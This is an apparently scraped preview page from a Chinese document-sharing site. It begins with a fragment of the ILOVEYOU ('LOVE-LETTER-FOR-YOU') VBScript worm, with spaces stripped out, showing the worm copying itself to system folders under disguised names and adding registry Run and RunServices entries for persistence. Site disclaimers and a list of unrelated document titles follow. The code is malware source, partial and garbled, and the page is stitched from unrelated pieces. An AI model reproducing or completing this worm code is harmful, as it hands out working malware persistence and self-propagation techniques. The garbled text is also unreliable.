etSpecialFolder(2)…Setc=fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&″\MSKernel32.vbs″)c.Copy(dirwin&″\Win32DLL.vbs″)c.Copy(dirsystem&″\LOVE-LETTER-FOR-YOU.TXT.vbs″)…Setfso=CreateObject(″ScriptDimnum,downreadregcreate″HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32″,dirsystem&″\MSKernel32.vbs″regcreate″HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win3
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 幼兒園足球趣味課程設(shè)計(jì)
- 國(guó)有林場(chǎng)財(cái)務(wù)管理問題及對(duì)策
- 少兒編程課程設(shè)計(jì)案例
- 電氣工程基礎(chǔ)知識(shí)
- 微電課程設(shè)計(jì)
- 電力裝備及器材產(chǎn)業(yè)環(huán)境分析
- 房地產(chǎn)營(yíng)銷課程設(shè)計(jì)范本
- 統(tǒng)編版語文一年級(jí)上冊(cè)-漢語拼音2iuü-教學(xué)課件多篇
- 智慧駕校課程設(shè)計(jì)指南
- 新生兒疫苗接種的注意事項(xiàng)
- 【期末復(fù)習(xí)提升卷】浙教版2022-2023學(xué)年八年級(jí)上學(xué)期數(shù)學(xué)期末壓軸題綜合訓(xùn)練試卷1(解析版)
- 2024年315消費(fèi)者權(quán)益保護(hù)知識(shí)競(jìng)賽題庫及答案(完整版)
- 國(guó)網(wǎng)新安規(guī)培訓(xùn)考試題及答案
- 醫(yī)療器械計(jì)量管理制度
- 高職旅游專業(yè)《旅游心理學(xué)》說課稿
- 《2024版CSCO胰腺癌診療指南》更新要點(diǎn) 2
- 二年級(jí)數(shù)學(xué)上冊(cè)100道口算題大全 (每日一套共26套)
- 六盤水事業(yè)單位筆試真題及答案2024
- 車輛換行駛證委托書
- 2024年電大考試資源與運(yùn)營(yíng)管理試題及答案
- 2025高考數(shù)學(xué)一輪復(fù)習(xí)-7.6-利用空間向量求空間角、距離【課件】
評(píng)論
0/150
提交評(píng)論